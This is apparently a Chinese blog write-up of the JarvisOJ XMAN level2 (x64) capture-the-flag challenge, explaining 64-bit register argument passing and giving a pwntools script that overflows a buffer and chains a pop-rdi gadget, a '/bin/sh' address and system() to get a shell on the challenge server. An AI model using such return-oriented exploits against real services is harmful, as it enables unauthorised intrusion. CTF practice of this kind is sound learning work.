[JarvisOj][XMAN]level2(x64)

 

在32位程序运行中,函数参数直接压入栈中

    调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

    64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

    参数超过六个时,从第七个开始压入栈中

 

 

走流程。。

 

 

之后构造即可

#!usr/bin/env python 

# -*- coding: utf-8 -*-

from pwn import  *



io = remote("pwn2.jarvisoj.com",9882)

sys_addr = 0x40063E

bin_addr = 0x600A90    #利用ROPgadget获得

rdi_ret = 0x4006B3



payload = ''

payload += 'a' * 0x88

payload += p64(rdi_ret)

payload += p64(bin_addr)

payload += p64(sys_addr)



io.recvline()

io.sendline(payload)

io.interactive()

io.close()

 

posted @ 2018-07-31 21:56  轩x  阅读(566)  评论(0编辑  收藏  举报